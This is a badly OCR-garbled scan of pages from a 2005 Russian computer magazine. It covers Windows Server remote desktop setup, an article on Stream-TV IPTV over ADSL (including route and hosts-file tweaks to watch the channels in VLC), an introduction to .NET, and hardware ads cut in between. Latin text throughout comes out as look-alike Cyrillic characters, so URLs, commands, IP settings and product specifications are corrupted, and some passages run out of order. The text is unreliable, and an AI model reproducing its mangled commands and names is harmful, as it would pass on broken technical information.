пункт «Создать резервирование». Система предложит ввести ин- 
формацию о клиенте: его имя, описание, резервируемый для него 
ІР-адрес, а также МАС, по которому производится авторизация. 

[властвуй на расстоянии!] Важная особенность всех серверных вер- 
сий ѴѴІпсІо\л/$ — служба терминалов. С ее помощью администратор, 
как, впрочем, и любой другой пользователь при наличии соответству- 
ющих полномочий, способен удаленно подключаться и админист- 
рировать весь сервер в целом. Служба терминалов работает следу- 
ющим образом: в момент удаленного подключения на сервере соз- 
дается сессия с виртуальным дисплеем, на который поступает ин- 
формация от используемых приложений. Картинка не передается 
кадрами, как в случае потокового видео, — вместо этого клиенту вы- 
сылается информация о происходящих на виртуальном дисплее из- 
менениях. Это позволяет значительно экономить трафик и работать 
удаленно, используя даже низкоскоростные соединения. 
Дистанционное управление рабочим столом — это несколько ог- 
раниченный вариант службы терминалов, но даже его функцио- 
нальности будет более чем достаточно. 

Сервер принимает дистанционные подключения только тогда, 
когда активирована соответствующая опция по адресу: Панель 
управления -> Система -> Удаленное использование. 

После этого с удаленным десктопом может работать любой пользо- 
ватель с администраторскими правами. Впрочем, доступ к нему мо- 
жет быть открыт и для рядового юзера — для этого щелкни по кнопке 
«Выбрать удаленных пользователей» и добавь в список нужного. 
Клиентская часть системы присутствует в любой современной 
операционной системе и вызывается следующим образом: 
Пуск -> Программы -> Служебные -> Связь -> Подключение к удален- 
ному рабочем столу. Версию для других операционных систем се- 
мейства ѴѴіпсІочл/з можно загрузить с официального сайта МісгозоП 
( ѵлллл/.тісгозо^.сот/ѵѵіпсіоѵѵзхр/рго/сіоѵ/піоасіз/гсісііѳпісіі.азр ). 

Для подключения к удаленному компьютеру требуется ввести ІР- 
адрес сервера и пройти авторизацию, как если бы ты заходил в 
систему локально. Но для более тонкой настройки подключения 
можно обратиться к кнопке «Параметры». Здесь пользователь 
вправе заранее обозначить имя пользователя и пароль (вкладка 
«Общие»), а также манипулировать дюжиной настроек получае- 
мого изображения. В случае необходимости текущий профиль с 
параметрами может быть экспортирован в файл. 

Важно заметить, что сервер по умолчанию не закрывает, а отклю- 
чает удаленные сессии в момент, когда удаленный пользователь 
отсоединяется. При таком раскладе все запущенные юзером при- 
ложения продолжают функционировать, несмотря на то что поль- 
зователь уже отсоединился. На практике это позволяет избежать 
нелепых ситуаций, когда нужные программы завершают свою ра- 
боту из-за внезапного и непреднамеренного обрыва связи. 

[практикуйся!] Представленной информации более чем достаточ- 
но, чтобы без проблем поднять свой первый полноценный сервер. 
Однако не стоит обольщаться и думать, что ты полностью постиг ис- 
кусство администрирования. Никак нет! Откровенно говоря, выпол- 
ненная нами работа — это сущий пустяк по сравнению с теми зада- 
чами, которые приходится решать в огромных корпоративных сетях. 
Однако первый шаг мы сделали, и это уже хорошо! @ 




[создание нового пользователя в службе каталога] 
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Наследие тысячелетий 

в технологиях будущего, 
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Рохсопп - торговая 
марка Ноп Наі Ргесізіоп 
Іпсіизіэгу Со., Ш - мирового лиде- 
ра в области высокотехнологичных 
решений. Рохсопп - крупнейшая частная 
тайваньская компания, №1 в мире по ОЕМ- 
поставкам системных плат, разъемов и 
корпусов для ПК, №2 в мире по выпуску 
систем охлаждения. В 2004 году объем 
продаж компании превысил $16 млрд. 

Количество сотрудников, занятых на 
предприятиях Рохсопп 
ал а -н риа •'я сіо П0 всем странам 
б а п о эиа а п зе пиеи мира, более 
ацд р ол ѳі) и а яи а е\ 160 тысяч 
эаииоэ о а п эе пиви §и рва человек. 
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Чипсет Іпіеі 915РІ_; 

ЮА775 для Іпіеі Репііит 4ЕЕ/Ргезсо1:1: СРІ); 
Р5В800; йиаі сЬаппеІ РОК 400/333 х 2 РІММб 
1 х Р-АТА, 4 х 5-АТА 150 (КАЮ 0, 1, 0+1); 

АисИо 7.1; СЬЕ иИ; ІЕЕЕ 1394а; 
до 8 портов 115В 2.0; 

1 х РСІех 16, 1 х РСІех 1, 3 х РСІ, 1 х РОЕ 8Х; 

Рохсопп Р.С.Е. 8Х совместим с АСР 8Х, 

поддержка 2х мониторов 

(Мпсіоѵѵб 2000/ХР) и МісгобоРі: РігесОС 9.0. 



Чипсет пѴЮІА ЫР4 ШСга; 

БоскеИ 939 для АМ0 АСЫоп™ 64/64РХ СРШ, 

Р5В 2000 МТ/б, НурегТгапБрогІ™; 

до 40В Риаі сЬаппеІ ООК400/РОКЗЗЗ/ООК266; 




ІП 




Собственное производство высококачественной стали • Лицевые панели изготовлены в соответствии со стандартами ведущих мировых производителей 
Легендарные блоки питания Р5Р, НіРго, 150 • Сборка ПК без использования инструмента во всех моделях корпусов 
Дополнительные вентиляторы и 115В панели в базовой конфигурации • Более 100 моделей во всех ценовых категориях 
Широкий ассортимент вентиляторов для процессоров АМР и Іпіеі 



Москва: Тгіпііу Еіесігопісз - (095) 737-8046; РгопеІ§гоир - (095) 789-3846; Шіга Сотриіегз - (095) 775-7566; Инкотрейд - (095) 785-8659; Кит - (095) 777-6655; Компьютадор - (095) 274-7300; Полярис - (095) 755-5557; Альметьевск: 
Компьютерный мир - (8553) 25-38-29; Волгоград: ЮККМТ - (8442) 49-19-20; Краснодар: Игрек - (8612) 210-98-50; Красноярск: КАПИТАЛ-СЕРВИС - (3912) 63-60-30; Курск: КомпьюЛэнд - (0712) 56-46-43; Курчатов: КомпьюЛэнд - (07131) 2-31-22; 
Липецк: Регард - (0742) 22-13-09; Набережные Челны: КЦ "ЫехС сотриіег" - (8552) 39-03-38; Нижнекамск: КЦ "Ыехі; сотриСег" - (8555) 43-79-82; Нижний Новгород: АйТиОн - (8312) 74-85-90; ВИСТ-НН ООО - (8312) 78-48-78; 
Ником-Медиа (8312) 34-11-34; ЮСТ - (8312) 30-16-74; Новосибирск: ЗЕТ НСК - (3832) 125-142; Омск: ТНТ ООО - (3812) 36-82-42; Электронный рай - (3812) 51-04-04; Рязянь: Шіга - (0912) 205-205; Самара: Прагма - (8462) 16-32-87; 
Саратов: АТТО - (8452) 444-111; Томск: Стек - (3822) 554-554; Хабаровск: Диалог Плюс - (4212) 50-37-06; Дальком - (4212) - 42-86-72; Челябинск: Алиас - (3512) 37-8717; Чита: Вавилон: - (3022) 32-55-00. 
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АОЗЬ-ТѴ 

В НАСТОЯЩИЙ МОМЕНТ СПУТНИКОВОЕ ТЕ- 
ЛЕВИДЕНИЕ ПЕРЕСТАЛО БЫТЬ ДОРОГОЙ ЗА- 
БАВОЙ ДЛЯ ИЗБРАННЫХ, КАК ЭТО БЫЛО ДЕ- 
СЯТОК ЛЕТ НАЗАД. СТОИМОСТЬ ОБОРУДО- 
ВАНИЯ ЗНАЧИТЕЛЬНО СНИЗИЛАСЬ, И С КАЖ- 
ДЫМ ГОДОМ НА РЫНКЕ ПОЯВЛЯЮТСЯ ВСЕ 
НОВЫЕ И НОВЫЕ ОПЕРАТОРЫ, ПЫТАЮЩИЕ- 
СЯ КОНКУРИРОВАТЬ С УЖЕ ХОРОШО ЗАРЕ- 
КОМЕНДОВАВШИМИ СЕБЯ МОНСТРАМИ. 
СЕЙЧАС Я РАССКАЖУ О СОВЕРШЕННО НО- 
ВОМ ДЛЯ РОССИИ СПОСОБЕ ПЕРЕДАЧИ ВИ- 
ДЕОСИГНАЛА ПО УЖЕ ИМЕЮЩЕЙСЯ МЕД- 
НОЙ ИНФРАСТРУКТУРЕ I Пиговина (тѳ@рідоѵіпа.ги) 



Цифровое телевидение 
| из телефонной розетки 

2 [немного о конкурентах] В настоящий мо- 

мент в России широко используются два 
способа передачи цифрового сигнала. 
Первый — при помощи спутника, непо- 
средственно в квартиру заказчика. На вне- 
шней стене дома заказчика устанавливает- 
і ся тарелочка, в квартире ставится устрой- 

з- ство расшифровки сигнала под названием 

ресивер. Абонентом может стать любой 
желающий, чей дом находится в зоне по- 
крытия. Второй способ — через кабель. 
Этот способ существует уже очень дав- 
но. По крышам тянется кабель до домов, 
а а в домах идет распределение готового 

о сигнала. Раньше это было просто кабель- 

Е ное ТВ, а сейчас множество 1_АЫ-провайде- 

ров предоставляет высокоскоростной ин- 
тернет и телевидение по одному кабелю. 





Подробный мануал по на- 
стройке пульта ДУ, поста- 
вляемого в комплекте 
оборудования: 
ШрУ/шшш.іпвІтис- 
Ііопз.пт.ги/атіпо_гето- 
Іе_сопІгоІз_соп(ідига- 
Ііоплиібе.рбГ. 



Большой недостаток этого спо- 
соба передачи — малая зона ох- 
вата. Как правило, такой опера- 
тор обслуживает один или нес- 
колько районов города, если го- 
род достаточно крупный. В ма- 
леньких городах оператор может 
покрывать и всю территорию. 



[стрим-ТВ] Вот так мы и подошли к третьему способу, который толь- 
ко что появился на российском рынке. В Москве с первого дня 
весны в тестовом режиме был запущен совместный проект «МТУ- 
Интел» и «Системы Мультимедиа» под названием «Стрим-ТВ» — пе- 
редача картинки по АЭ5І_-каналу. Одновременно ты можешь си- 
деть в интернете и смотреть ТВ. 

Как это работает? Для начала тебе нужно подключиться к до- 
машнему интернет-каналу «Стрим», о котором, кстати, мы писа- 
ли в октябрьском номере X (не пугайся, если ты не москвич, — 
уже скоро технологию будут усердно внедрять и другие АЭ5І_- 
провайдеры). Для передачи видео потребуется 4,7 Мбит/с. 
Какой ужас! Это же надо быть подписчиком самого быстрого 
и дорогостоящего тарифа от «Стрим»?! Такое окажется боль- 
шинству не по карману. Многие прогнозисты сразу заявили, что 
проект обречен из-за очень малого количества пользователей 
таких высокоскоростных каналов. В МТУ это, конечно, понима- 
ли и без особого труда нашли выход: 
расширение канальной скорости до 6,1 
Мбит/с к оборудованию на АТС, что дает 
возможность пользователям безлимитных 
тарифных планов со скоростью 128-256 
Кбит/с воспользоваться таким телевиде- 
нием. Для оператора это огромный плюс, 
ведь анлимщиков у него больше полови- 
ны. Ну а ты сможешь смотреть ТВ. Однако 
не спеши радоваться, что ты получаешь 
интернет со скоростью 6 Мбит/с за те же 
деньги. Скорость загрузки данных из Сети 
остается в рамках твоего тарифа, только 
пинг будет в два раза меньше. Получается 
это потому, что скорость определяется не 
только скоростью порта ЭЗБАМ, но и ре- 
жется софтверно на биллинге. 

[оборудование] Для просмотра каналов 
на телевизоре нам понадобится АЭЗБ-мо- 
дем с интерфейсом ЕИпегпеІ, ТВ-пристав- 
ка и оформленная подписка на ТВ. Ожи- 
даемая стоимость оборудования соста- 
вит около 170 долларов. На 
[ТВ-приставка АМІШ, подключаемая этапе тестирования мне уста- 
к телевизору, и пульт ДУ к ней] новили АЭЗІ_-модем Рагасіупе 

6212, ТВ-приставку Атіпо Аті- 
ІМЕТ110, пульт ДУ и беспроводную клавиатуру. С первыми тремя 
девайсами все ясно, а вот о полезности четвертого я расскажу 
чуть ниже. 

Подключается все просто, да и настраивается не намного слож- 
нее. Однако пока высылают бригаду монтажников, чтобы мы свои- 
ми ручками не покосячили тестируемое оборудование. В модеме 
имеются четыре выхода БАМ. І_А!\І1 идет в сетевую карту компа, 
І_АЫ2 — в приставку. Далее в модеме производится настройка для 
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РРРоЕ (твой инет), ѴСЮ (видео по запросу) и Мсазі (телеканалы). 
Естественно, для каждого свои ѴСІ. Теперь все готово к работе. 
После включения в приставку вбиваются авторизационные дан- 
ные, и ты можешь насла>кдаться просмотром ТВ. Кстати, пульт ДУ 
можно настроить почти для любого телека и использовать только 
его. Для этого нужно нажать кнопку «ТѴ» и «ОК», а потом удержи- 
вать в течение нескольких секунд, пока кнопка «ТѴ» не загорится 
постоянно. Потом набираем «010» — это код, подходящий почти ко 
всем телевизорам. Если же он вдруг не подошел, лезем в инструк- 
цию по настройке пульта на страницу 22 и там смотрим код для 
своего телевизора. 

[а если без телека?] Смотреть ТВ из розетки можно и на ком- 
пьютере, используя программку ѴІ_С. Однако для такого прос- 
мотра все равно необходимо иметь ТВ-приставку (5е1 Тор Вох). 
Но это будет возможно лишь до того момента, пока не появит- 
ся карта криптозащиты. 

Для просмотра на компьютере нам понадобится сетевая карта 
и модем рагасіупе в режиме роутера. 

20 Идем в сетевые подключения, находим подключение по ло- 
кальной сети, жмем правой кнопкой «Свойства». Находим ТСРМР, 
опять жмем «Свойства». 

Записываем, какие у нас ІР, ѲАТЕѴѴАУ, 0№. Если в настройках все 
прописано автоматически, то ничего не трогаем. 

20 Там же переключаем все на авто. Выдергиваем кабель из ЗТВ 
и засовываем его в сетевуху. Винда начинает скрипеть мозгами 
и получать настройки от РНСР. 

ТО Кликаем Пуск -> Выполнить -> стсі. В появившемся окошке 
консоли пишем «ірсопТід /аІІ». Задаем настройки нашей сетеву- 
хи (а именно ІР, ѲАТЕѴѴАУ, МАЗК. Можно еще и РЫЗ, но необяза- 
тельно). Пишем «пзіоокир іѵіз.тзк.зізтесііа.ги». В ответ получаем, 
скорее всего, 172.16.24.25. Запоминаем этот адрес. 

АІ Возвращаем настройки сетевой карты, которые посмотрели 
и запомнили в пункте 1. Втыкаем правильный кабель от модема 
в сетевуху. Идем в настройки модема. АсІѵапсесІ -> ѴІап. Объе- 
диняем весь свитч в один ѵІап (например ѵІапО). Идем в Зеіир -> 
ЬДИ. Отключаем ЭНСР. 

_5] Возвращаемся в настройки сетевухи. Если там было включено 
«Авто», то выставляем «Вручную». В качестве ѲАТЕѴѴАУ прописы- 
ваем адрес модема, по которому мы ходим на его веб-интер- 
фейс. Скорее всего, 192.168.1.1. Адрес компа — 192.168.1.10. 
Маска — 255.255.255.0. РЫЗ — 195.34.32.116. 

Далее жмем кнопочку «Дополнительно» внизу. Кликаем «Доба- 
вить ІР» и вписываем тот ІР, который увидели в пункте 3. Теперь 
жмем на «Добавить ѲАТЕѴѴАУ» и прописываем гейтвей из пункта 
3. Вручную ставим метрику 21 для этого ѲѴѴ. Теперь все сохра- 
няем и реконнектимся. 

22 В консоли пишем «гоиіе асИ -р», через пробел первые две ци- 
фры от результата пзіоокир. 0.0, тазк <из пункта 3>, даіеѵ/ау из 



[НЕМНОГО ИСТОРИИ] 

Технология А03І_ появилась в 90-х годах, однако широ- 
ко применяться в мире стала только с 98 года. В Рос- 
сии же об этой технологии услышали только с прихо- 
дом Стрима. С ее помощью стало возможным осу- 
ществлять передачу данных со скоростью до 8 Мбит/с 
в сторону абонента. А05І.2+ же способен доносить до 
абонента данные со скоростью до 24 мегабит. 
Семейство х031_ имеет огромные перспективы роста 
и немало возможностей, которые позволят тебе не 
только сидеть в инете, набивая жесткий диск фильма- 
ми и мпЗ. К примеру, по АОЗЬканалу можно провести 
до нескольких городских телефонов домой или в офис 
по технологии ѴоІР (Ѵоісе оѵег ІР). Для этого потребу- 
ется всего лишь маршрутизатор с необходимым коли- 
чеством голосовых портов или специальный АОЗІ_-мо- 
дем, в котором они уже имеются. 

Еще одним примером широкого использования АОЗЬ 
как раз является передача видео. Вот во Франции та- 
ким телевидением давно никого не удивишь. У них са- 
ми провайдеры производят модем, ТВ-приставку, 
маршрутизатор и ѴѴІ-РІ в одном корпусе. Что самое ин- 
тересное, предоставляется эта шайтан-коробка совер- 
шенно бесплатно. Понятное дело, что через несколько 
месяцев девайс окупится абонентской платой. 




пѴЮІА® пРогсе4 5І_І 



Поддерживает процессоры АМР® 
АіЫопТМ 64 РХ / АіЫопТМ і 




АіЫоп'М 64 РХ / АіЫоп ' М 64 
* Чипсет ІЧѴЮІА® пРогзе4 5І_І 
2 слота расширения РСІ Ехргезз хіб 
Аппаратная поддержка аудио 
с помощью Сгеаііѵе ЗВ Ыѵе 24-ЫІ 
Поддержка ЗАТА II и ЗАТА РАЮ 
**2 порта 10/100/1000 Разі ЕіЬегпеі ЬАЫ 







925ХЕ Ыео Ріаііпит 



Іпіеі® 925ХЕ 




Поддерживает процессоры Іпіеі® 

РепйитТМ 4 (РгезсоИ,Р4ЕЕ) 

Поддерживает двухканальную память 
ООН2 400/533 

Поддерживает ЗАТА РАЮ и АТА133 РАЮ 
Встроенная сетевая карта 10/100/1000 
на микросхеме Вгоасісот® ВСМ5751 

Шііі'і 



NX6600-VТ^1 28 ОіатопЦ 



пѴЮІА СеРогсе 6600 




Память РРРЗ объёмом 128 МВ (8Мх32-2пз) 
Разрядность памяти 128 бит 
Движок пѴЮІА® СіпеРХТМ 3.0 
Поддержка йОТ 
: Расширенная комплектация 
Поддержка ОѴІ/ТѴ-оиІА/ісІео-іп 



Эксклюзивные предложения и расширенная техническая поддержка 
для членов Оіатопсі клуба по адресу сІіатопсІсІиЬ.тзі.сот.Іѵѵ 



о МЯТ 



МІСКО-ЗТАК ІГЧТЕР^АТЮМАІ- 



За дополнительной информацией обращайтесь на 



А 



Все вышеперечисленные функции опциональны для всех изделий М5І. 

МЗІ - зарегистрированная трговая марка компании Місго-ЗІаг Іпі'І Со., Ш. 
Спецификации могут изменяться без предварительного уведомления. 

Все зарегистрированные торговые марки являются собственностью своих владельцев. 
Любые конфигурации, отличные от оригинальных, не гарантированны. 









[ХАКЕР 05 [77] 05 > РС_20ЫЕ 026 ] 




вливать и перематывать. Цена фильма так- 
же будет составлять $1,5-2. На первый 
взгляд, довольно дорого. Но за эти полтора 
доллара ты получаешь фильм в качестве 
ЭѴЭ с нормальным переводом, не выходя 
из дома. 

Виртуальный кинозал. Здесь нам предла- 
гают купить и посмотреть фильм в режиме 
виртуального сеанса. С вводом «Стрим-ТВ» 
на коммерческой основе нам обещают 
богатый выбор фильмов. В отличие от видео 
по запросу, купив фильм, необходимо 
прийти к началу выбранного сеанса и при- 
ступить к просмотру. Перемотать или оста- 
новить просмотр нельзя. Что неудивитель- 
но: данные идут по потоку МСАЗТ — как на 
обычных телеканалах. Средняя цена филь- 
ма составляет $1,5. 

Игры и интернет на экране ТВ. Вот как раз для 
этого и требуется беспроводная клава. В неда- 
леком будущем нам обещают дать возмож- 
ность играть в игры и путешествовать по Сети, 
не вставая с дивана. Эх, так мы скоро совсем 
обленимся — ни за ЭѴЭ к метро сбегать, ни за 
комп сесть поиграть. Все не вставая с дивана :). 



[ѵѵеЬ-панель администрирования модема Рагасіупе] пункта 3. Например 

юиіе асісі -р 172. 16.0.0 

тазк 255.255.0.0 25.21 .0. 1 теітіс 20. Этот финт нужен для того, что- 
бы запросы к іѵіз.тзк.зізтесііа.ги шли не через инетовский интер- 
фейс, а через родной стримтэвэшный. Далее идем в %зуз1етго- 
Оі%\зуз1ет32\(0гіѵегз\е1с, находим там файл Ітозіз, прописываем 
в него результат пзіоокир из пункта 3. Например 172.16.24.25 
іѵіз.тзк.зізтесііа.ги. Это нужно, чтобы попадать туда, куда надо, 
вместо таіогсіоітю'вского 404 :). 

Пункты 1-6 нужны для того, чтобы инет и ТВ работали одновременно 
через одну сетевуху. Проверяем. Инет должен работать, как и рабо- 
тал, а на іѵіз.тзк.зізтѳсііа.ги/стт/роііаі видим картинку «Стрим-ТВ». 
0 Идем на ѵісіѳоіап.огд, скачиваем и устанавливаем ѴІ_С. 

5] Заползаем на іѵіз.тзк.зізтесііа.ги/стт/роііаі и жмем правой 
кнопкой в районе списка услуг. Выбираем просмотр МтІ. Нахо- 
дим такую строку: «ТЕЛЕКАНАЛЫ", "/стт/рог1аІ/ІРТѴ_СТіап- 

пеНзТ.ізр». Теперь идем на іѵіз.тзк.зізтесНа.ги/ стт/рог- 
ТаІ/ІРТѴ_СТіаппеІІ_5ІЦзр, жмем правой кнопкой на списке каналов 
и просматриваем страничку в виде ТтТтІ. Отыскиваем строку 
«('239. 255. 0.22:5500', ‘Уникальный телеканал для модниц и для тех, 
кто хочет знать все о мире Высокой Моды. Показы коллекций 
одежды в режиме «нон-стоп» 1 , 'сІр1107078285118',1),». 

0 Запускаем ѴІ_С. Кликаем «Ореп пеТ\л/огк зТгеат». Вписываем туда 
следующую ссылку: исір://@ 239.255.0.22:5500. Готово. 

Спасибо Мір://з1геатсІиіэ.ги/ Іогит за информацию. 



[сервисы] Теперь рассмотрим предоставляемые сервисы. 
Начнем, конечно же, с телевидения. На момент тестирования 
доступно ровно 50 каналов со следующими тематиками: 
мультфильмы, познавательные, развлекательные, эротика, 
музыка, путешествия, спорт, новости, а также все ретрансли- 
руемые российские каналы. Большинство ретранслируемых 
спутниковых каналов переведено на русский язык. Качество 
вполне приемлемое. Совсем как на ЭѴЭ. Правда, если под- 
ключить акустику 5.1, то звук становится немного «железным». 
Навигационная менюшка довольно удобная. Есть возмож- 
ность разделения каналов по тематике или алфавиту. Все это 
в режиме предпросмотра со звуком. Включение канала про- 
исходит с некоторой задержкой в одну-две секунды (круто! У 
меня на ТВ-тюнере вообще секунд пять длится молчание по- 
сле переключения :(. — Прим. Бублика), но после этого изо- 
бражение идет без каких-либо помех. 

Видео по запросу (ѴСЮ-поток). Здесь 
предложено огромное количество филь- 
мов, которые можно заказать. Все они 
разбиты по темам. Выбрав тему и фильм, 
можно просмотреть небольшой деморо- 
лик и принять решение о покупке полной 
версии либо отказаться и купить какой-то 
другой. После покупки фильм можно смо- 
треть в течение 24 часов. Можно остана- 



[выводы] Интерактивное телевидение по АЭЗІ_-каналу — вещь совер- 
шенно новая для нас, хотя за границей она широко используется уже 
не первый год. Существенный плюс — это использование телефон- 
ной лапши для просмотра телеканалов. Но вот цена от 170 долларов 
за абонентское оборудование ставит под сомнение популярность 
услуги, поскольку примерно за такую же цену конкуренты могут 
предложить больший список телеканалов с более высоким каче- 
ством и звуком 5. 1 . Некоторые же бесплатно предоставляют в арен- 
ду оборудование на время подключения. Сисмедия это, видимо, по- 
нимает и предлагает купить оборудование в рассрочку до трех лет. 
А вот минусов у этой услуги много. Первый — состояние теле- 
фонных сетей. Большое их количество с трудом держит 2 мега- 
бита, а на некоторых линиях вообще нет возможности установки 
АЭЗБ-канала. Второй наиболее ощутим для владельцев высоко- 
скоростных тарифов, ведь, как я уже говорил, под поток выделя- 
ется 4,7 Мбит/с. Немногим больше 1 Мбит/с выделяется под инет. 
Остается только ждать ввода А50Б2+ (об этом читай во врезке к 
статье) — эта технология избавит от этой проблемы и даст воз- 
можность улучшить качество картинки. 

Ну а в целом же введение услуг такого экзотического ТВ, 
описанного в статье, несомненно, является большим проры- 
вом в области высоких технологий в нашей стране © 




[АРЗЬмодем Рагасіупе, поставляемый для подключения к услуге. Имеет под- 
держку АРЗІ-2+, встроенный РігеѵѵаІІ, МАТ и множество других функций] 







НОВЫЙ ЧЕРНЫЙ М65: ПОБЕДА ЗА ТОБОЙ! 





Сертификат 

на покупку в магазинах 

«Спортмастер» 



Приз - в каждой карте! 

Купи новый черный М65 и получи призовую карту. 
Сотри защитный слой и узнай, что ты выиграл: 
удобную сумочку для ношения телефона на руке 
или сертификат на покупку в магазинах 
«Спортмастер».* 

* Правила участия в акции - на сайте \л/ѵѵѵѵ.5Іетеп5-гпоЬіІе.ги 
Телефон бесплатной горячей линии по России 8 800 200 10 10 



спорт^астер 



5ІЕМЕІЧ5 





ЮНИТЫ КРЕАТИФФ КОДИНГ ІІМХОГО СЦЕНА ВЗЛОМ РС_20ЫЕ РЕПНЫМ НЬЮСЫ 



Прогрессивные 

■«технологии 




ВСЕГДА ПРИЯТНО БЫТЬ В КУРСЕ ДЕЛ. ОДНАКО 
В НАШЕ ВРЕМЯ, КОГДА КАЖДЫЙ ДЕНЬ ПРОИС- 
ХОДИТ МАССА СОБЫТИЙ И ИЗМЕНЕНИЙ, СЛЕ- 
ДОВАТЬ ЭТОМУ СТАНОВИТСЯ ВСЕ СЛОЖНЕЕ И 
СЛОЖНЕЕ. ВЗЯТЬ ХОТЯ БЫ НОВЫЕ РАЗРАБОТ- 
КИ МІСРЮЗОРТ: МНОГО ЛИ ТЫ О НИХ ЗНАЕШЬ? 
МОЖЕШЬ ЛИ СХОДУ ВЗЯТЬ И РАССКАЗАТЬ 
ВКРАТЦЕ, ЧТО СОБОЙ ПРЕДСТАВЛЯЮТ .ЫЕТ, 
ѴѴІИРХ, ѴѴІИРЗ, АѴАЬОІЧ ХАМІ_? А ВЕДЬ ЭТО ВЕ- 
ДУЩИЕ НАПРАВЛЕНИЯ НА БЛИЖАЙШИЕ ДВА- 
ТРИ ГОДА! 

ТЕХНОЛОГИЯ .ИЕТ, АББРЕВИАТУРА КОТОРОЙ 
СТОЛЬ ЧАСТО ВСТРЕЧАЕТСЯ СЕЙЧАС НА СТРА- 
НИЦАХ ГЛЯНЦЕВЫХ ЖУРНАЛОВ И В СЕТИ, НЕ 
ЯВЛЯЕТСЯ ЧЕМ-ТО НОВЫМ. ОНА УЖЕ ДАВНО 
БЫЛА АНОНСИРОВАНА, И МІСРЮЗОРТ УЖЕ СДЕ- 
ЛАЛА ВСЕ ВОЗМОЖНОЕ ДЛЯ ВОПЛОЩЕНИЯ ЕЕ 
В ЖИЗНЬ. ЗАДУМКА ВОИСТИНУ ГРАНДИОЗНАЯ, 
КОТОРАЯ ЕСЛИ ПОКА ЕЩЕ И НЕ ПОЛУЧИЛА ШИ- 
РОКОГО РАСПРОСТРАНЕНИЯ, ТО НА ВСЕ 100% 
СДЕЛАЕТ ЭТО В БЛИЖАЙШЕЕ ВРЕМЯ. РАССКА- 
ЗЫВАТЬ О НОВИНКАХ МІСРЮЗОРТ БЕЗ УПОМИ- 
НАНИЯ О .ЫЕТ БЫЛО БЫ ЧРЕЗВЫЧАЙНО ГЛУПО, 
ТАК КАК ОНА ТЕСНО СВЯЗАНА СО ВСЕМИ НИМИ 

I Степан Ильин ака Зіер ($іер@геаІ.хакер.ги) 




[взаимосвязь операционной системы со своими компонентами] 



Первое знакомство 

[свести на .МЕТ] Давным-давно, когда продвинутые гуру еще 
программировали под 005, мы с упоением смотрели на первые 
версии ѴѴІпсІо\л/5. Это было что-то! Именно тогда стало понятно, 
как по-настоящему должны выглядеть программы и операцион- 
ная система. Много красивых окон, пестрый интерфейс, краси- 
вые шрифты, высокое экранное разрешение и отличная эргоно- 
мика. Переход к УѴіпсіо\л/5 и программированию под ней был 
столь же неизбежен, как переход с печатной машинки на компь- 
ютер. 

Сейчас же, когда МісгозоІТ усердно навязывает нам свою новую 
платформу .МЕТ, ее достоинства не столь очевидны на первый 
взгляд. Оно и понятно, ведь все отличия находятся на архитектур- 
ном уровне и не видны конечному пользователю. В то же время 
для разработчиков ПО большинство инноваций обещают корен- 
ным образом изменить все имеющиеся подходы к программиро- 
ванию в целом. 

Что сейчас может помешать разработчикам? Пожалуй, только 
всепоглощающая несовместимость. Это основной минус всей 
современной индустрии программирования, и с этим сложно не 
согласиться. Получается так, что программисты, использующие 
разные средства для разработки, практически изолированы 
друг от друга. И это ничуть не удивительно. Программы, написан- 
ные для разных операционных систем, используют свои специ- 
фические АРІ, поэтому их не только сложно портировать — они 
вообще имеют мало общего между собой. С приложениями, 
ориентированными на одну ось, дела обстоят не лучше. В зави- 
симости от выбранной среды разработки, они проектируются и 
создаются совершенно разными способами. 

Вполне закономерно то, что Місгозоіі сделала серьезный шаг к 
решению этой проблемы. А почему бы, собственно, нет? И нес- 
частным программистам поможет, и себе неплохо сделает. 
Очень неплохо, стоит отметить. 

Ее новая платформа, обещающая стандартизировать подходы к 
программированию и наладить совместимость, носит звонкое 
название .ЧЕТ Егате\л/огк. По сути, это многофункциональная 
среда для разработки и исполнения программ. Она отвечает за 
все: выполнение и запуск программ, управление их ходом, выде- 
ление памяти под данные и команды, а также освобождение ее 
в случае необходимости. 

Вся система состоит из двух основных частей: общеязыковой ис- 
полняющей среды (Соттоп Еапдиаде І?ип1іте, СІ_І?) и библио- 
теки классов .ЧЕТ Егате\л/огк. Первая является очень важной ком- 
понентой всей технологии, так как управляет ходом выполнения 
приложения. Помимо этого, она содержит библиотеки базовых 




Если ты хочешь попробо- 
вать свои силы в проекти- 
ровании МЕТ/ѴѴІпЕХ при- 
ложений, то тебе понадо- 
бятся МЕТ Егатешогк, 

І\ІЕТ Егатешогк 2.0 50/С, 
Аѵаіоп Егатешогк СТР, а 
также среда разработки 
ѴівиаІ Зіибіо. 



\ I / 




/ I \ 



Все новые разработки 
Місгозой находятся в ста- 
дии тестирования и отлад- 
ки. Я не рекомендую уста- 
навливать их на свою рабо- 
чую машину. Лучше заведи 
себе виртуальную рабочую 
лошадку на базе ѴМѴѴаге 
(шшш. ѵтшаге. сот). 




Если у тебя медленный ди- 
алапный канал и ты не мо- 
жешь скачать весьма уве- 
систые библиотеки 
МісгозоП — не расстраи- 
вайся. Мы любезно выло- 
жили их на СО. 



классов .ЫЕТ, включающие в себя ряд готовых классов, предназ- 
наченных для решения конкретных задач. Такой подход не толь- 
ко значительно облегчает разработку ПО, но еще и стандартизи- 
рует базовые элементы для любого языка программирования, 
работающего на платформе .МЕТ. Это первый шаг в пользу уни- 
версальности, но отнюдь не единственный. 

.ЫЕТ Егате\л/огк имеет в своем арсенале общеязыковую специ- 
фикацию (Соттоп Еапдиаде ЗресіЕісаЕіоп, СІ_$), декларирую- 
щую набор правил, которых должны придерживаться все .ІМЕТ- 
совместимые языки. В свою очередь, общая система типов 
(Соттоп Туре ЗузТет, СТЗ) гарантирует, что типы данных, опре- 
деленные одним языком, могут быть с не меньшим успехом ис- 
пользованы и другими средствами программирования. 

Что касается библиотеки классов .ЫЕТ Егате\л/огк, то она содер- 
жит целый ряд полезных типов, разработанных специально для 
СИТ. Эти типы объектно-ориентированы, легко расширяются и 
совместимы с абсолютно всеми .МЕТ-средствами разработки. 
Встает вопрос: каким образом достигается подобная универ- 
сальность? Дело в том, что исходный код языков, поддерживае- 
мых СП? (будь то С#, ѴізиаІ Вазіс .МЕТ или любой другой), особым 
образом компилируется в команды МісгозоТТ ІпТегтесІіаТе 
Еапдиаде (1). В результате компиляции получается исполняемый 
файл, который полностью состоит из команд 1-языка. Он не явля- 
ется исполняемым в полной мере этого слова — для работы при- 
ложения 1-код необходимо преобразовать в машинный код, что 
автоматически осуществляется сразу после его запуска. При 
этом двоичный код помещается в память и остается там до окон- 
чания работы программы. 

Получается, что программа, написанная на одном из .ЫЕТ-сов- 
местимых языков, по сути ничем не отличается от программы 
